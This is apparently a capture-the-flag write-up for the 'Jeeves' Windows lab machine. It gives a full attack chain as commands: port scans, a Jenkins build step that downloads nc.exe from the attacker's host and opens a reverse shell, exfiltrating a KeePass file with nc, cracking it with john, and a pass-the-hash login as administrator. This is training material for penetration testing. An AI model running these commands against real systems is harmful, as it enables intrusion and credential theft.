We pick Jeeves from the list:


We start with a usual nmap scan:

nmap -sS -T4 -p- -A


Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-02 13:07 EST
Nmap scan report for
Host is up (0.073s latency).
Not shown: 65531 filtered ports
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (91%), Microsoft Windows 10 1511 - 1607 (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), FreeBSD 6.2-RELEASE (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%), Microsoft Windows Server 2016 (85%), Microsoft Windows 7 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 5h00m27s, deviation: 0s, median: 5h00m27s
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-01-02T23:11:14
|_  start_date: 2020-01-02T23:04:41

TRACEROUTE (using port 80/tcp)
1   72.66 ms
2   72.71 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 242.23 seconds

We can try to do another scan on the shares:

Then attempt to list shares:

Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-02 13:32 EST
Nmap scan report for
Host is up (0.073s latency).

135/tcp open  msrpc
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: No accounts left to try

Nmap done: 1 IP address (1 host up) scanned in 12.81 seconds

Not very promising without credentials.

We can then open a browser and go to


It appears to be a search engine ripped off from the late nineties Ask Jeeves.

We can do a test search, which seems to take is to an “error” page… that I believe is an image?


In Terminal we can pull the page code to see what is going on:



<!DOCTYPE html>
<title>Ask Jeeves</title>
<link rel="stylesheet" type="text/css" href="style.css">

<form class="form-wrapper cf" action="error.html">
    <div class="byline"><p><a href="#">Web</a>, <a href="#">images</a>, <a href="#">news</a>, and <a href="#">lots of answers</a>.</p></div>
  	<input type="text" placeholder="Search here..." required>
	  <button type="submit">Search</button>
    <div class="byline-bot">Skins</div>


It appears that the search form sends to error.html regardless of what is put in there. There is also no JavaScript or anything else running to validate it.



<img src="jeeves.PNG" width="90%" height="100%">

So it is just an image.

I am assuming this box is trying to show an error code to help nudge instead of making it a functional error code.

If this is a reflection on that then we can assume the local path exposure is true.

From our nmap scan we can also see there is another web server running on port 50000.



<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 404 Not Found</title>
<body><h2>HTTP ERROR 404</h2>
<p>Problem accessing /. Reason:
<pre>    Not Found</pre></p><hr><a href="http://eclipse.org/jetty">Powered by Jetty:// 9.4.z-SNAPSHOT</a><hr/>


While we look for potential exploits we could run a directory scan:

dirb -i

Let’s look for some exploits:

searchsploit jetty

According to our scan we can assume it is version 9.4, which leaves us with a promising one for Directory Traversal. This seems like it would be a good pair with our local path disclosure.

However, unfortunately this vulnerability has since been patched.

After what seems like a dead end I decide to run another directory scan. This time, with a directory found:

gobuster -u dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

When we navigate to the page we get a Jenkins website.

We don’t have a log on but if it is not restricted we may be able to setup a reverse shell script.

Click on create new jobs.

Enter a job name – I just used setup – and select Freestyle project then click OK.

Then under Build click Add build step then select Execute Windows batch command.

Enter code to download nc.exe and create a reverse shell:

powershell.exe -exec Bypass -nonI -window Hidden (new-object System.Net.WebClient).DownloadFile('http://10.10.XX.XX:999/nc.exe','nc.exe')
cmd.exe /C nc.exe 4444 -e cmd.exe

In Terminal, create a new tab, copy nc.exe to current directory and start a simple web server using python:

cp /usr/share/windows-resources/binaries/nc.exe .
python -m SimpleHTTPServer 999

In a new Terminal tab, setup the listener. We can do it with nc:

nc -lvp 4444

Or we can use Metasploit meterpreter or Windows reverse tcp shell.

If you are practicing to get into the 🔗 OSCP course, I would recommend not getting too comfortable with meterpreter but highly recommend the multi handler still as I find the shells are a lot more stable than just nc.

Let’s start Metasploit in a new Terminal tab:


Select the multi handler:

use exploit/multi/handler

Set our payload:

set payload windows/shell_reverse_tcp

Set our local host IP:

set LHOST 10.10.XX.XX



Back in Jenkins, save the job. Then in the left menu list click Build Now.

You should see the download happening from the web server tab:

Then check our Metasploit tab:

We can see from the whoami command that we the user kohsuke. At this point we can grab the user flag.

type C:\Users\kohsuke\Desktop\user.txt

When looking into the kohsuke user profile I found a .kdbx file. Searching the file extension tells us it is a 🔗 KeePass file.


Using nc we can download the file to our local machine. In a Terminal on our local kali machine:

nc -lvp 444 > CEH.kdbx

Then back in our reverse shell:

C:\Users\Administrator\.jenkins\workspace\setup\nc.exe -nv 10.10.XX.XX 444 < c:\Users\kohsuke\Documents\CEH.kdbx

There is a command line tool we can download on our local machine for accessing KeePass files:

apt -y update
apt -y install kpcli libterm-readline-gnu-perl libdata-password-perl

Once downloaded we can run the tool:


If we attempt to open it we will be prompt for a Master Password.

There is a KeePass cracking tool built in that we can run:

/usr/sbin/keepass2john CEH.kdbx

Then with the output we can attempt to crack it:

echo ‘CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48’ > keepass.txt

john --wordlist=/usr/share/wordlists/rockyou.txt keepass.txt

We luckily get a password.

If we run the KeePass command line tool again we can open the file:

kpcli:/> open CEH.kdbx

From there we can use show -f <number> to list the details including passwords.

The first one shows us an LM:NTLM hash, which we can assume is the administrator password.

We can attempt to crack it or simple pass the hash with it. A quick test to see the shares again could prove if it works:

pth-smbclient -L -U administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

No access denied error this time. Now we can create an administrative shell:

pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 // cmd.exe

Then go for the root flag:

Apparently not then.

I will admit I did do some scans such as dir /s root.txt on the C:\ directory to be lazy but it brought me nowhere. Realizing it couldn’t have been far from the original directory and running dir /a /q on everything I realised that I was missing the /r switch.

It is setup using a file stream. I found a few articles that go into more detail about it:

🔗 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2008/ms08-067

🔗 https://docs.microsoft.com/en-us/windows/win32/fileio/using-streams

🔗 https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream

We can then open the file stream with:

more > hm.txt:root.txt